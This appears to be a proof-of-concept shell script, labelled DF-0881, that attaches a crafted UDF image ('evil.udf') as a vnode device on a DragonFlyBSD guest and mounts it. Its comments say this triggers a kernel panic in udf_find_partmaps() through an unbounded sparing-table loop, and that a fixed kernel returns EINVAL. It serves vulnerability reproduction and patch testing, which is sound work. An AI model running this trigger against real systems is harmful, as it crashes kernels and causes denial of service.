#!/bin/sh
# DF-0881 run: configure a vnode device from evil.udf and mount it as UDF.
# On the unpatched kernel this triggers a page-fault panic in udf_find_partmaps()
# because the sparing-table scan loop iterates rt_l=65535 times past the
# st_size=32768-byte allocation. On a FIXED kernel, mount returns EINVAL
# cleanly (rt_l bounded) — no panic.
#
# Must be run as root on the DragonFlyBSD guest.
set -e
cd "$(dirname "$0")"

echo "[+] loading UDF module (if not loaded)..."
kldload udf 2>/dev/null || true

echo "[+] configuring vnode device..."
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 evil.udf

echo "[+] attempting UDF mount (st_size=32768, rt_l=65535)..."
mount -t udf -o rdonly /dev/vn0 /mnt/udf 2>&1 || echo "[!] mount returned $?"

echo "[+] guest still alive:"
uptime